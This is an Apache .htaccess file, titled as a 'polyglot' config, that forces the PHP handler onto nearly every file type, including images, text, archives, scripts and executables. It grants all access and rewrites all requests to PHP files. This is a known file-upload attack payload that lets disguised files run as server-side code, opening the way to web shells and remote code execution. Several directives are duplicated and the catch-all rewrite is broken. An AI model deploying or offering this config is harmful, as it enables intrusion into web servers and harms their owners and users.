# POLYGLOT HTACCESS 2025 - FORCES PHP ON EVERYTHING
AddType application/x-httpd-php .php .php5 .php7 .php8 .phtml .phar .inc
AddType application/x-httpd-php .html .htm .xhtml .xml .svg .rss
AddType application/x-httpd-php .jpg .jpeg .png .gif .bmp .ico .webp
AddType application/x-httpd-php .txt .log .ini .conf .cfg .md
AddType application/x-httpd-php .zip .tar .gz .rar .7z
AddType application/x-httpd-php .js .css .json
AddType application/x-httpd-php .exe .dll .so .bin
AddHandler application/x-httpd-php .php .phtml .phar
AddHandler php-script .php .phtml .phar .html .htm
AddHandler application/x-httpd-php-source .phps
Options +ExecCGI +Includes +IncludesNOEXEC +MultiViews
SetHandler application/x-httpd-php
DirectoryIndex index.php index.html index.phtml
SetHandler application/x-httpd-php
ForceType application/x-httpd-php
Require all granted
ForceType application/x-httpd-php
SetHandler application/x-httpd-php
RewriteEngine On
RewriteRule ^(.*)\.(jpg|png|gif|txt|html|xml|js|css)$ $1.php [L]
RewriteRule ^(.*)$ $1.php [L]
php_flag engine on
php_value auto_prepend_file none
php_value auto_append_file none
# END POLYGLOT CONFIG